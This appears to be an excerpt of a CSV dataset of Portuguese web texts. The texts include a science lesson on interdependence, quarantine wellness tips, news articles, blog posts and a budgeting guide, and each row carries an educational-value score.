alimentação seria muito diferente! Para finalizarmos, reflita: o que você pode fazer para proteger a natureza e garantir que a interdependência entre animais e plantas continue a existir? Pequenas ações, como economizar água, plantar uma árvore, ou separar o lixo para reciclagem, fazem toda a diferença. Lembre-se: somos todos parte da mesma teia, e o futuro do nosso planeta depende de como cuidamos uns dos outros!",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, abordando o conceito de interdependência de forma clara e acessível para o público infantil. Apresenta exemplos práticos e estimula a reflexão sobre o papel dos seres humanos no meio ambiente, bem como ações para a sua preservação. O texto é adequado para os anos iniciais e finais do ensino fundamental, atingindo o nível máximo na escala de pontuação.",5,1.0
+"Oops! Não temos mais estoque para incluir este produto ao carrinho. Se você quiser, pode ver outros aquí",original,original,original,original,0,0.0
+"Equilíbrio físico, mental e espiritual durante a quarentena
+Neste texto, vou descrever o passo a passo de como manter um equilíbrio físico, mental e espiritual durante a quarentena!
+07:00 às 09:30 - O despertar de um novo tempo!
+Acorde e faça três respirações profundas, imagine todas as suas células regeneradas e saudáveis. Pensar positivo logo ao acordar estrutura toda a sua neuroquímica logo pela manhã!
+Abra a janela do quarto imediatamente, olhe para o horizonte e deixe a luz do sol penetrar nas suas células. Estudos mostram que a luz solar, logo nos primeiros horários da manhã, ajuda a bloquear a melatonina produzida a noite e estimula a supra renal a produzir cortisol para conseguir despertar e dar ânimo para o novo dia!!
+Aqueles que puderem, desçam rapidinho com seus animais de estimação, eles não transmitem coronavírus e podem ajudar na sua sanidade mental! Lembre-se de tomar todas as medidas de higiene; evite aglomeração no elevador e não faça aglomerado de pessoas ao descer. Ao voltar, lave as mãos e passe álcool em gel!
+09:30 às 10:30 - Café da manhã cheio de energia!!
+A refeição da manhã é muito importante, visto que tudo o que ingerimos passa pelo tubo digestivo para ser digerido e metabolizado, modulando o nosso sistema imunológico de defesa.
+Evite alimentos processados, com corantes e conservantes e açúcar refinado. Além disso, aumente a porção de frutas legumes e verduras.
+Dicas para a sua refeição:
+. 1 xícara pequena de café
+. Para melhorar a energia, um copo de suco maçã com laranja e couve, batida com 20 gotas de própolis e 1 colher de sopa de TCM
+. 2 colheres de tapioca ou pão integral ou, ainda, pão sem glúten para quem é intolerante
+. Ovo mexido
+. Aumente sua ingestão natural de vitamina C! Consuma frutas amarelas e laranjas, como laranja, tangerina, mamão e manga. Não se esquecendo de frutas de outras colorações com alto teor de vitamina C, como o kiwi, a acerola, o morango e o limão. Inclua dois tipos dessas frutas todos os dias.
+10:30 às 12:00 - Oxigene seus músculos e seu cérebro!
+Faça alguma atividade física em casa, aulas online como yoga, ballet fitness ou funcional. Lembre-se de fazer um lanche pós treino para não ficar fraco.
+12:00 às 13:00: Hora das boas notícias!
+Procure ler algo positivo, qualquer noticia que traga esperança e paz. Vamos criar uma egrégora (força espiritual criada a partir da soma de energias coletivas) de pensamentos positivos! Com essa avalanche de más noticias, precisamos diminuir toda essa forma pensamento negativa que se instala com medo.
+O que eu sugiro: compartilhe as informações de saúde, mas vamos criar hábito de compartilhar, também, noticias positivas. Isso vai fazer você se sentir melhor! Juntos somos mais forte!
+13:00 às 14:00: Almoço saudável
+Um almoço saudável envolve uma refeição equilibrada! Algumas sugestões são:
+Arroz integral/ feijão
+Salada/ legumes
+O sulforafano é um composto bioativo presente especialmente nas brássicas – como brócolis, couve-flor, repolho e rabanete –, pertencente ao grupo dos isotiocianatos de compostos organosulfurados.
+O Sulforafano apresenta propriedades antioxidantes, especialmente pela indução da via Nrf2 (fator nuclear eritroide 2 relacionado ao fator 2), envolvida com a transcrição de genes que codificam enzimas antioxidantes como SOD, catalase e glutationa peroxidase, além de atuar na modulação de respostas inflamatórias e imunes.
+Aumente as porções de brássicas todos os dias!
+14:00 às 15:00 - Momento da boa ação
+Veja se alguém ao seu redor precisa de ajuda! A empatia e solidariedade são um bom aprendizado nesse momento!
+Acredito que nós nunca vamos poder responder o porquê disso tudo está acontecendo com a gente, mas e o para que? Devemos nos perguntar ""como podemos ser melhores?""
+Toda crise tem uma dimensão instrutiva para crescimento e transformação consciencial. Exercite sua compaixão e solidariedade! A historia de toda epidemia é uma historia de empatia: eu cuido de mim pra poder cuidar de você e, se eu não cuidar de você, e...",original,original,original,original,3,0.6
+"Contas de luz, telefone, internet, prestações de carro e casa, e carnês são a maior parte dos compromissos em atraso
+Autor:Mais Retorno
+Data de publicação:04/10/2022 às 11:37 -
+Atualizado 2 meses atrás
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+O endividamento familiar tornou-se uma epidemia financeira no Brasil. Hoje, a cada 100 famílias no País, 79 estão endividadas, conforme levantamento mensal realizado pela Confederação Nacional do Comércio de Bens, Serviços e Turismo (CNC).
+A maior parte dessas dívidas não está atrelada a bancos, e sim a serviços em geral, como contas de luz, de telefone e de internet, carnês de loja e prestações de carro e casa.
+Foto: Envato
+Com tanta dívida, o País tem atingido níveis recordes de inadimplência, já que muitas famílias não conseguem pagar suas contas em dia. É o maior volume desde 2010, quando teve início a série histórica monitorada pelo CNC.
+O Estadão procurou as equipes de campanha do presidente Jair Bolsonaro (PL) e do ex-presidente Luiz Inácio Lula da Silva (PT) para detalhar que medidas cada um pretende adotar caso vença o segundo turno das eleições, em 30 de outubro.
+Renegociação
+Na campanha do petista, a ideia é criar um programa de renegociação das dívidas de famílias e de pequenas e médias empresas, com apoio de bancos públicos e parceria com bancos privados, para oferecer condições de renegociação com os devedores. O principal projeto destas ações foi batizado de ""Desenrola"", que mira as dívidas não atreladas a bancos, mas a serviços em geral.
+Já o plano de governo 2023-2026 apresentado por Bolsonaro não faz menção direta ao tema. Pelo que se pode deduzir, a partir de afirmações já feitas pelo presidente e que constam em seu programa, o foco é incentivar a geração de empregos para reaquecer a economia e, dessa forma, ampliar o poder de compra. Não existe, porém, nenhuma proposta clara que envolva diretamente renegociação de dívidas atuais, por exemplo.
+Contas em atraso passam de R$ 289 bi, diz Serasa
+O Brasil tem hoje mais de 67 milhões de pessoas inadimplentes, conforme dados divulgados pela Serasa em agosto. O valor dessas dívidas é superior a R$ 289 bilhões - dos quais, 28% estão relacionados a pendências com bancos e cartões de crédito. A maior parte (72%) tem a ver com contas atrasadas de serviços em geral, como luz e telefone e carnês de loja.
+Coordenador do Núcleo de Acompanhamento de Políticas Públicas da Fundação Perseu Abramo, o economista Guilherme Mello, que atua na elaboração da proposta de campanha de Lula, diz que o programa ""Desenrola"" mira justamente a quitação de dívidas em geral. A proposta prevê, numa primeira etapa, ações voltadas para famílias que ganham até três salários mínimos - renda hoje de até R$ 3.636 -, mas depois ampliar o acesso para famílias com rendas mais elevadas.
+""Estamos falando dessas dívidas não bancárias, que são a maioria, cerca de 73% do volume total. O plano é criar birôs de crédito no País, que serão espaços de centralização de informações, porque essas dívidas são muito dispersas, hoje você não tem esses dados centralizados. Esses birôs seriam organizados em parceria com os bancos e, também, com o SPC (Serviço de Proteção de Crédito), Serasa, Banco Central, para fazer a negociação dessas dívidas"", diz Mello.
+A ideia, completa ele, é se concentrar inicialmente em clientes que foram ""negativados"", cujos débitos já são tratados como ""perdidos"" pelas empresas.
+""O plano é que se ofereça grandes descontos nessas negociações, até porque grande parte dessas dívidas é de juros e multas. Hoje, isso acontece em algumas situações; mas, muitas vezes, as empresas querem receber o valor todo de uma vez, e as famílias não têm condições de pagar.""
+Programa de Bolsonaro não trata do tema
+Não há menção ao endividamento familiar nas 48 páginas do documento entregue pela campanha de Bolsonaro ao Tribunal Superior Eleitoral (TSE). A reportagem enviou questionamentos aos ministros Paulo Guedes (Economia), Fabio Faria (Comunicações), Ciro Nogueira (Casa Civil), além do próprio comando...",original,original,original,original,3,0.6
+"Terreno Sátão, Ferreira de Aves
+Arrendar V2 em Lisboa, Alvalade Comprar Terreno em Algueirão-Mem Martins Comprar Apartamento 2 quartos em Marvila Comprar em Tavarede Comprar Moradia com 4 quartos em Coimbra Comprar Terreno em Porto, Bonfim Ainda não encontrou o que procura?",original,original,original,original,0,0.0
+"Bikes do Andarilho: Perfil... Alex Magnum, da Vélo Courier!
+Este é um espaço destinado a valorização e conhecimento do perfil de um ciclista. Ciclistas são ciclistas... A figuração conceitual que a bicicleta e seu usuário transmitem são insuficientes para descrever o valor humano e social que há nas histórias. As histórias são variadas como são os rostos. Somos todos diferentes! O valor esta exatamente nas diferenças, neste enriquecido calor humano capaz de gerar opiniões diferentes. Se as pessoas são assim... também se cria um diferencial quando se soma a famosa bicicleta! Novas experiências, oportunidades e histórias únicas formam este universo ciclístico. O perfil é uma oportunidade de aproximar e de demonstrar o que são os ciclistas. Seja cada um como for, todos são únicos, insubstituíveis, valorosos. As histórias são únicas, as amizades também... e o crescimento que cada um pode trazer para a bicicleta na sociedade é a força que um dia vai nos colocar em um patamar de muitas vantagens para a humanidade. A bicicleta veio para ficar... estas pessoas vieram para mostrar porquê a bicicleta é necessária: Este é Alex, um mensageiro, um entregador, um bike courier! Com três perguntas básicas apresentamos este ciclista de Porto Alegre.
+- quem é este ciclista?
+Me chamo Alex Magnum, tenho 21 anos, habito o trânsito de Porto Alegre tanto a trabalho quanto a lazer. Creio que possa me considerar um atleta urbano, quais as conquistas não vão muito além do simples ato de ir e voltar intacto. Pedalo todos os dias cerca de 50km.
+Comecei a pedalar devido a convites de um amigo e, um dia saindo da aula, a Massa não me permitiu subir no ônibus - vi um cara vestido de bailarina e resolvi ir correndo junto o resto do percurso pra não ficar tão inerte. Logo após comecei a pedalar um tanto quanto bruscamente, percorrendo de 15 a 30km para visitar um amigo distante e também para ir ao trabalho, que era na Sertório (moro na Tristeza), então aprendi na melhor teoria - a prática.
+A bicicleta já mudou o mundo, agora está mudando as pessoas. Eu não estive lá, mas creio que o mundo mudou quando descobriu que duas rodas era a solução para um deslocamento eficiente.
+Pedalar é um ato político, é influenciar diretamente nas mudanças no lugar onde se vive e quer viver. Movimente-se, pois o único defeito da fala é que ela não passa de ondas sonoras dispersas pelo ar, já o movimento - o movimento é a transcrição visual e física de que é possível realizar o inimaginável. Uma cidade e um trânsito mais humanos dependem só de nós. Pequenas atitudes resultam em grandes mudanças. Seja a mudança.
+Alex exerce a atividade de courier por meio da bicicleta. Realiza diversas tarefas envolvendo transporte em locais diversos e que cruzam a cidade em um único dia. Ele e outros brilhantes ciclistas por vocação enfrentam o trânsito diariamente. Acreditam na função, nos princípios naturalistas e esperam o trânsito evolua para uma aceitação prática do ciclistas nas ruas, de acordo com as promessas do CTB (código de trânsito brasileiro). A bandeira que Alex levanta é da paz! Para saber mais sobre os serviços prestados por Alex e seus colegas, acesse a página oficial do nosso aventureiro do cotidiano: velocourier.com
+Não esqueça o leitor que há uma questão importante quando for comparar motociclistas entregadores aos ciclistas entregadores. Ciclistas são silenciosos, não poluentes, raramente se envolvem em acidentes, garantindo a integridade do bem de entrega. Avalie as diferenças, avalie o mundo como esta e pense se esta não é uma grande iniciativa que promove a paz no trânsito e outros benefícios a sociedade. A responsabilidade é um grande atributo da Vélo Courier! - ""Alex, estamos contigo!""
+Postado por Roberto Furtado às segunda-feira, janeiro 20, 2014",original,original,original,original,2,0.4
+"Após polêmica, cabeleireiro desfila como 'governante fascista' em ala da Gaviões da Fiel com integrantes vestidos de militares
+Talis Andrade
+Foto: Marina Pinhoni/g1
+Por g1 SP
+Após ter dito que desfilaria pela Gaviões da Fiel representando o presidente Jair Bolsonaro gay, o cabeleireiro Neandro Ferreira entrou no Anhembi na madrugada deste sábado (24) representando um ""governante fascista"" em uma ala com integrantes vestidos de militares. Ele usava terno e uma faixa amarela e azul.
+Ao g1, Neandro explicou que a Gaviões o convidou para representar um ""governante fascista"" no desfile, mas que não seria nenhuma pessoa específica. ""Ninguém falou que eu ia vir de Bolsonaro, falavam só que eu ia vir de um governante, um presidente fascista, que poderia ser qualquer presidente"", disse o cabeleireiro.
+Representação de Bolsonaro gay em desfile da Gaviões da Fiel divide opiniões nas redes sociais
+No entanto, ele, por conta própria, assumiu que este governante seria o Bolsonaro e começou a fazer piadas sobre o assunto. ""Aí eu comecei a brincar, vou dar pinta de gay, vou vir sambando, vai ser engraçado"". O cabeleireiro também afirmou que este seria seu papel no desfile em entrevistas para a imprensa.
+Após o desfile, Neandro disse que ""faltou o povo gritar fora Bolsonaro pra ele"".
+""Não imaginei que teria tanta polêmica eu vir fantasiado de presidente. Mas o que fizemos foi um desfile de protesto por um Brasil melhor e mais moderno. Contra todos os preconceitos. Faltou só o público gritar 'fora Bolsonaro' pra mim. Achei que isso fosse acontecer"".
+Cabeleireiro chega à dispersão da Gaviões — Foto: Gustavo Petró/g1
+Cabeleireiro representa um 'governante fascista' — Foto: Marina Pinhoni/g1
+Cabeleireiro representa governante fascista em desfile da Gaviões — Foto: Cíntia Acayaba/g1
+Após a repercussão do caso, o cabeleireiro disse que recebeu todo o suporte da escola, e contou que está sofrendo ataques na internet. ""Fui atacado tanto pela comunidade LGBT, que estão falando que eu usei o gay para ridicularizar o presidente, que ser gay não é pejorativo. E tem ainda o outro lado, os machões bolsonaristas"".
+Neandro contou que está cuidando da sua segurança, mas que seu objetivo agora é se divertir no carnaval após dois anos sem festas por causa da pandemia.
+""O foco é só coisas boas, mas no momento estou quase um Judas, prestes a ser malhado"", brincou Neandro.",original,original,original,original,1,0.2
+"Investigação sobre a perda do paladar e do olfato e os efeitos psicológicos consequentes: um estudo transversal em profissionais da saúde que contraíram a infecção COVID-19
+DOLINSKY, Luciana
+DUDINE, L. et al. Investigation on the Loss of Taste and Smell and Consequent Psychological Effects: A Cross-Sectional Study on Healthcare Workers Who Contracted the COVID-19 Infection. Front Public Health, v.9, article 666442, May 2021. DOI:10.3389/fpubh.2021.666442. Disponível em: https://pubmed.ncbi.nlm.nih.gov/34123991
+O artigo analisa a correlação entre o estresse e as alterações no olfato e paladar de trabalhadores da saúde, da região norte da Itália, que contraíram a COVID-19 no meio do surto da patologia em 2020.
+A infecção pelo SARS-Cov-2 é caracterizada por diversos sintomas, com quadros clínicos variando de assintomáticos ou com sintomas leves até doença severa e óbito. Dentre as manifestações neurológicas mais comuns da patologia situam-se as alterações no olfato e no paladar relatadas por inúmeras publicações. Também é fator conhecido que pandemias estão associadas com consequências diversas para a saúde mental e existem estudos relatando aumento nos sintomas de ansiedade e depressão na pandemia da COVID-19. No entanto, raros são os estudos que têm como foco os sintomas da patologia como determinantes do estresse psicológico.
+Como as disfunções de olfato e paladar podem impactar negativamente o bem-estar, com indivíduos relatando sensações de solidão, medo e depressão, além de dificuldades sociais devido a preocupações com a higiene pessoal, no caso da alteração no olfato, e impactos na nutrição e desenvolvimento de depressão, nos casos de alterações no paladar, pesquisadores consideraram a possibilidade destes sintomas amplificarem o estresse psicológico já determinado por outros fatores.
+Para verificar esta hipótese, 104 trabalhadores da saúde, homens e mulheres, com idades entre 18 e 70 anos, que haviam contraído a COVID-19, foram avaliados por entrevistas semiestruturadas que envolviam questões sobre sintomatologia, incluindo alterações de olfato e paladar, termômetro de estresse (DT) e escala de ansiedade e depressão hospitalar (HADS). Os questionários referentes a estresse, ansiedade e depressão são validados em diversos países, culturas e populações patológicas. O questionário sobre estresse abordou percepção durante a infecção e no momento da entrevista e o HADS apenas no momento da entrevista. A análise de dados foi robusta com p 0.05.
+Os sintomas mais frequentes foram fadiga, alterações no olfato e alterações no paladar. 68%, dos entrevistados declararam estresse moderado a alto, com ansiedade, irritabilidade, mau humor e solidão. Há correlação com os sintomas, com maior quantidade de sintomas estando relacionada a maior grau de estresse. Perda de olfato não mostrou relação com altos níveis de estresse, mas a perda de paladar sim.
+A ansiedade é maior nos pacientes com perda de ambos os sentidos, olfativo e gustativo, enquanto a depressão é mais evidente na perda do paladar. A despeito deste resultado, 29% dos entrevistados precisam de intervenção psicológica clínica, segundo os dados obtidos.
+O estudo evidencia que alterações no olfato e no paladar em pessoas sintomáticas estão associadas com maiores níveis de estresse, comparando com aqueles sem alterações nesses sentidos da percepção. Ansiedade e depressão são respostas frequentes, que estão mais associadas a perda do paladar e tendem a persistir por mais tempo. No entanto, risco de reinfecção, excesso de trabalho, frustração, equipamentos de proteção inadequados, isolamento, exaustão, etc., também influenciam a situação emocional dos trabalhadores da saúde. A coexistência com sintomas da COVID-19 intensifica a reação. Mesmo as pessoas curadas continuam a experimentar estresse, devido ao medo de reinfecção. Essa condição aponta a necessidade de intervenção psicológica.
+Há limitações metodológicas citadas pelos autores, incluindo análise retrospectiva não randomizad...",original,original,original,original,4,0.8
+"Casa feita de garrafas PET no El Salvador é toda colorida | CASA.COM.BR
+Casa feita de garrafas PET no El Salvador é toda colorida
+Mará Ponce perdeu sua casa em um terremoto e resolveu construir outra usando criatividade e reciclagem.
+access_time 14 dez 2016, 11h32 - Publicado em 2 dez 2013, 14h56
+Tudo sobre Casa e ApartamentoCasasdiferentesEl SalvadorGaleriasSustentabilidade",original,original,original,original,1,0.2
+"A fórmula é bastante conhecida.
+Quanto mais músculos ativar, mais energia vai usar.
+Quanto mais forte e por mais tempo o fizer, maior a queima de calorias.
+Para maximizar a perda, deve-se malhar os grupos musculares inferiores e superiores.
+Então, o que mais ajuda a perder peso e manter o condicionamento é o crossfit.
+Até agora, esta definição permaneceu um tanto vaga.
+Mas um estudo revelou os movimentos, dentro da linha de exercícios, mais eficazes.
+A pesquisa foi feita pela Universidade Kennesaw State (Estados Unidos).
+Trata-se do treino docemente chamado “Cindy”.
+Deve-se repetir a sequência quantas vezes conseguir em 20 minutos.
+Ao final, em menos de meia hora foram embora 261 calorias.
+O estudo foi publicado no Journal of Sport and Human Performance.
+É verdade que podemos praticar o Cindy em qualquer lugar.
+Mas é preciso cuidado com o vigor necessário, já que o esforço é forte.
+No estudo, pessoas treinadas chegaram a 170 batimentos cardíacos por minuto.
+E chegaram a 88% de sua frequência cardíaca máxima.
+Para quem não é acostumado, deve-se começar aos poucos.
+Por isso, recomendo o ambiente seguro de uma academia, com a supervisão de profissionais.",original,original,original,original,2,0.4
+"Comentários sobre acontecimentos e questões mundiais: Ambientalistas, os inocentes úteis mais utilizados pelo marxismo para atacar as empresas privadas
+Postado por ARNALDO ARNOLDE às 18:02
+XistoGabriel 1 de junho de 2015 16:36
+KkkkKKKkkkk*rindo potássios*, eu li esse texto todo de cima a baixo, me parece que tu apenas passou por um dia ruim e não soube assimilar seus pensamentos e quis descontar em campanhas e textos banais relacionados ao meio ambiente porque isso, aliado às ilustraçõezinhas ó-tão-sugoi-kawaii-desu te deixa tããão irritado. Meu Deus, eu geralmente nem procuro comprar discussão com povo desinformado na internet, porque é uma perda de tempo, mas credo, há tanta coisa para ser dita...
+Primeiro de tudo: “Mas, por que não se pode plantar árvores não nativas?”... Eu li isso mesmo? Ah tá bem, claro que se pode introduzir outras espécies para a eficiência econômica, contanto que haja o controle, mas se não for o caso, CARA, vá procurar saber o conceito de “espécies invasoras” em qualquer texto ou artigo, seja da internet, de livros acadêmicos, etc., aposto a vida da minha tuia-holandesa de estimação chamada Benoît que todos chegarão a um ponto em comum, nem vou digitar aqui, procure saber você mesmo.
+""Além disso, rios não precisam de mata nas margens para existir!""
+Ehh, #SóQueNãoMesmo, meu queridíssimo. Se pesquisasse um pouco mais, você já saberia, é muito simples: as matas ciliares (marginais aos rios, caso você não saiba) firmam, ""seguram"" a terra das margens, prevenindo a erosão. Sem isso, a corrente de água erode a terra, assoreia o rio deixando-o mais raso, até ele poder *ARQUEJO* não mais existir, ora! É por essa exata razão que muitas, mas Muitas legislações municipais vetam a implantação de imóveis a menos de pelo menos 30 metros dos cursos d’água, dependendo da largura do mesmo.
+Criança, quer um conselhinho? Preste mais atenção nas aulinhas de ciências ambientais, ou se tu já estiver mais grandinho (o que duvido após ler essa sua pirraça), procure fazer um curso de urbanismo ou engenharia ambiental, ou mesmo botânica, antes de postar um disparate desses na internet pra todo mundo ver e tu virar motivo de chacota.
+ARNALDO ARNOLDE 1 de junho de 2015 18:07
+Pela risada inicial, já sei q é um marxista alienado (aqueles marxistas q não sabem q são marxistas, e inclusive, negam q são rsrs).
+E por isso q escreveu:
+""Sem isso, a corrente de água erode a terra, assoreia o rio deixando-o mais raso, até ele poder *ARQUEJO* não mais existir, ora!"".
+Já sei q é um ignorante q não sabe q no fundo do Gran Canyon no EUA existe um rio, o Rio Colorado, e pensa q o rio deixa de existir se não tiver mata ciliar! rsrs
+XistoGabriel 1 de junho de 2015 19:11
+Ká. Ká, Ká.
+Tu só fica aí chamando qualquer pessoa que te contrariar de ""marxista"" (que honestamente nem sei porque que tu anda usando como insulto) ao invés de verdadeiramente pesquisar Bem sobre os rios que tu citaste.
+O Nilo e o Colorado possuem mata ciliar original Sim, mesmo cortando desertos. Pode pesquisar. E por favor, né. Você apenas citou o esses dois rios, mas se esqueceu de rios como Itapecuru, São Francisco, Parnaíba e um monte de outros rios assoreados espalhados pelo país e talvez pelo mundo. Sim, assoreados devido à ação humana.
+Olha, nem vou discutir, é só dar uma pesquisada De Verdade, mas aff, nem acho que você vá se dar ao trabalho, é muito mais cômodo insultar (seja lá o que você entende por insulto) quem talvez, apenas TALVEZ possua mais conhecimento no assunto do que você. Bjs, xau! c:
+ARNALDO ARNOLDE 4 de junho de 2015 14:55
+Mudou as letras da risada, mas, continua o mesmo, a única coisa q faz, como todo marxista, é dar risada e dizer para a outra pessoa ler, pesquisar (fazem isso pq não possuem conhecimentos para argumentar de forma fundamentada), como se fosse um grande erudito instruindo os pupilos rsrs
+""Sim, assoreados devido à ação humana.""
+Fizeram lavagem cerebral na sua cabeça na escola e vc passou a ter a cabeça dominada por uma ideologia q odeia a ...",original,original,original,original,2,0.4
+"Pascoalita: Cubo Rubik
+Puxa! Quanta habilidade! E que memória visual fantástica!!!
+Há uns anos atrás, quando surgiu a febre do cubo, eu com os 2 olhos bem abertos, o máximo que consegui fazer foi uma das faces eheheheh
+Publicada por Pascoalita à(s) 09:30
+Eh, eh, eh, eu conseguia fazer uma face e mais as tirinhas do meio a condizer. Quando chegava à última, perdia-me completamente, que aquilo baralha tanto, que parece estar tudo baralhado novamente!
+Resumindo, só chegava lá com cábula! :)))
+quinta-feira, janeiro 22, 2009 10:27:00 da manhã
+O meu filho mais velho que era pequenito na altura, chegou a conseguir.
+quinta-feira, janeiro 22, 2009 10:59:00 da manhã
+Pois bem, eu também conseguia fazer em menos tempo, agarrava no cubo e atirava-oá parede . Ficava instantâneamente feito hahahaha.
+quinta-feira, janeiro 22, 2009 12:58:00 da tarde
+xiiiiiiii o mem vovô é assim tão impaciente? Não te cocnhecia essa faceta ahahahah
+Claro que basta olharem para mim para perceberem que não devo ser dada a paciências, né?
+quinta-feira, janeiro 22, 2009 1:06:00 da tarde
+O raio do cubo pôes-me foi hipotenusa de raiva,,,,
+Gostei muito mais do yó-yó.que vou fazer..
+E linha,só consegui no bingo,dei semelhante grito que o companheiro do lado direito deu um salto....o macaco.....vê lá tu
+beijo:pandora_box
+quinta-feira, janeiro 22, 2009 7:28:00 da tarde
+Depois de usar o equivalente a 7.8 anos de cálculo computacional [em cpu de um núcleo], tomas rokicki acaba de mostrar que o cubo de rubik pode ser resolvido, a partir de qualquer posição, em 23 movimentos ou menos.
+o cubo, criado em 1974 pelo escultor e professor húngaro ernö rubik, começou a ser vendido em 1980 e está na marca das 300 milhões de cópias. há cerca de 43 quinquilhões de posições possíveis em um cubo e campeonatos e livros desde 1981: o cubo gerou uma indústria.
+mesmo tendo deixado de ser uma febre, o cubo ainda desperta muito interesse [nada menos de 12 campeonatos até outubro!], a ponto do recorde para resolvê-lo ter sido estabelecido em 2008, por yu nakajima, em menos de 9 segundos, contra a primeira marca mundial de 38 seconds de jury froeschl, da alemanha. se você quiser tentar sua destreza em um campeonato [simulado] permanente on-line, clique aqui.
+olhando para as competições físicas, corporais, gastamos 40 anos para trazer o recorde mundial dos 100 metros rasos de 10 para 9.72 segundos. não é razoável que comecemos a medir a diferença entre humanos correndo 100m em milésimos de segundos, pois a separação pode passar a ser estatística, ou definida pelo comprimento do dedo do indicador ou qualquer outra coisa. algo me diz que, depois de chegarmos nos limites [puramente] físicos do corpo, o que vai rolar daqui a uns 30 anos, vamos partir para campeonatos mais cerebrais. resolver algo como o cubo não é só cérebro, é destreza manual de primeira grandeza
+quinta-feira, janeiro 22, 2009 11:50:00 da tarde
+Eu tambem fazia uma face e depois mais nada.....enervava-me.....
+Nunca tive grande paciência para essas coisas...ahahhaha
+Beijokitas e bom fim de semana.
+P.S. Obrigadinha pelas MMS, nada como um coração com pernas....hihihihih
+sexta-feira, janeiro 23, 2009 11:37:00 da manhã",original,original,original,original,3,0.6
+"Produtor será orientado sobre escolha de soja no Showtec - Rural - Campo Grande News
+Produtor será orientado sobre escolha de soja no Showtec
+Os critérios para escolha da melhor variedade de soja serão um dos assuntos em pauta no Showtec, em Maracaju, no dia 2 de fevereiro. O evento será de 2 a 4 de fevereiro na Fundação MS.
+Conforme a organização, durante um dos giros tecnológicos o engenheiro agrônomo Carlos Pitol, pesquisador da Fundação MS, ensinará os produtores a escolher a melhor variedade em função da época do plantio, tipo e padrão e solo (acidez e fertilidade), escalonamento do plantio e da colheita e o ciclo da cultivar.
+Segundo ele, equívocos na escolha podem trazer prejuízos de até 15 sacas por hectare, ou seja, redução de 35% na produtividade.. O pesquisador vai apresentar 25 tipos diferentes de cultivares, suas características, vantagens e desvantagens.
+""Infelizmente ainda se erra muito na escolha da variedade e o produtor leva muito prejuízo com isso. Não adianta deixar se levar pelo mercado se a cultura não tiver o desenvolvimento adequado"", alerta. Pitol lembra que considerar apenas o potencial de produtividade é um erro porque o desenvolvimento da planta vai depender da característica do solo. ""Ainda que seja alto, o potencial de produção pode ficar limitado"", explica.
+Outro equívoco recorrente, destacado por Carlos Pitol, é que muitos produtores plantam a soja pensando na safrinha de milho e escolhem variedades precoces sem ponderar se seu solo reúne características adequadas para isso. A opção entre variedades tradicionais e transgênicas também será avaliada pelo pesquisador.",original,original,original,original,2,0.4
+"Serão 10,5km de prova, com sinalização, banheiros e três pontos de abastecimento com água e frutas. Não serão distribuídos copos de água, então os participantes devem trazer sua própria garrafinha e abastecê-la ao longo do trajeto.",original,original,original,original,1,0.2
+"PLANILHA DE ORGANIZAÇÃO FINANCEIRA: 2 MODELOS GRÁTIS PARA DOWNLOAD | Nossa! Que Vício - Finanças e Dicas de Beleza
+PLANILHA DE ORGANIZAÇÃO FINANCEIRA: 2 MODELOS GRÁTIS PARA DOWNLOAD
+quinta-feira, 4 de julho de 2019 /
+Depois de muito tempo procurando uma planilha de organização financeira grátis para download, resolvi criar a minha própria porque não consegui me adaptar com nenhuma que baixei... Achei todas muito complexas e difíceis de usar, e a organização de finanças deve ser feita da forma mais simples possível para não desistirmos no meio do caminho. Então quero disponibilizar minhas planilhas de organização financeira pra você baixar gratuitamente.
+Organização de Finanças: Planilhas grátis para baixar
+Fiz dois modelos de planilha, ambos são divididos em gastos essenciais e supérfluos, a diferença é que no primeiro coloquei todos os meses do ano na mesma planilha de organização financeira, enquanto no segundo criei uma planilha para cada mês, totalizando doze planilhas.
+Nos dois modelos têm:
+1. Receitas: toda entrada de dinheiro no seu orçamento. As receitas são divididas em:
+· Renda Principal: é a renda proveniente do seu principal trabalho;
+· Renda Extra: aquela que tem origem em outra atuação que não seja a sua profissão;
+· Renda Passiva: aquela que você ganha “sem fazer nada” como uma casa de aluguel, rendimento de investimentos, entre outros.
+2. Gastos essenciais: são aqueles indispensáveis para viver, como supermercado, água, luz, Internet, telefone etc. Também são chamados de gastos fixos, porque ocorrem todo mês.
+3. Gastos supérfluos: também chamados de gastos variáveis, são aqueles superficiais, como Netflix, TV por assinatura, cinema, jantar em restaurantes, lazer no geral.
+4. Totais:
+· Total de Despesa: soma dos gastos fixos com os variáveis;
+· Saldo do mês: quanto restou da sua renda após pagar todas as despesas;
+· Investimentos: o valor total dos seus investimentos. Precisa ser digitado por você.
+É bem simples de usar. Baixe a planilha gratuitamente e salve no seu computador. Depois é só inserir o valor da sua receita ou despesa. Todos os cálculos serão feitos automaticamente.
+Dá para editar a planilha de organização financeira?
+Dá sim, você pode inserir e excluir linhas conforme desejar. Para excluir uma linha, clique com o botão direto do mouse sobre a mesma e depois em Excluir → Excluir Linha Inteira.
+Para inserir uma linha clique com o botão direto do mouse, em seguida em Inserir Linha. Insira sempre antes de ""Outros"" (para não causar erros nas fórmulas de cálculos).
+Porque a organização financeira é importante?
+Para ter o mínimo de qualidade de vida, uma pessoa precisa ter dinheiro, concordam comigo? Ele atende as necessidades mais básicas como alimentação e moradia, além de tornar possível a realização de sonhos... Aquele carro lindo que queremos comprar, a viagem que queremos realizar.
+É aí que entra a importância da organização financeira, usando seu dinheiro com consciência você vai viver da melhor forma possível no presente e no futuro. Dinheiro compra qualidade de vida!
+Como baixar a planilha de organização financeira?
+Clique nos links abaixo para ter acesso à planilha;
+Em seguida clique na seta na parte superior direita, como mostra a imagem;
+Não edite nada no modelo original;
+Será exibida a mensagem ""Apenas leitura. Não é possível fazer alterações"";
+Clique em ""Fazer uma Cópia"" e salve a planilha no seu dispositivo.
+Planilha de organização financeira – modelo 1
+Planilha de organização financeira – modelo 2
+É claro que você não vai precisar usar os dois modelos, escolha o seu preferido. Eu uso o número dois, nele é mais fácil de visualizar os gastos, apesar de não ter ficado muito bom esteticamente rsrs.
+Me conte qual planilha você escolheu. Um beijo e até a próxima!
+Tesouro Direto: Como funciona? O que é? Como investir?
+Cris Unterstell 7 de julho de 2019 15:03
+Obrigado pela informações.Abraços.
+Luana Cruz 7 de julho de 2019 21:55
+Por nada, Cris! Conseguiu baixar a planilha?",original,original,original,original,3,0.6
+"Objeto: FORNECIMENTO DE VEÍCULO PICK-UP CABINE DUPLA 4X4 (DIESEL), conforme condições, quantidades e exigências estabelecidas na Proposta de aquisição número 11311333000/1160-08 das emendas parlamentares nº 26780009 e 26780008.",original,original,original,original,1,0.2
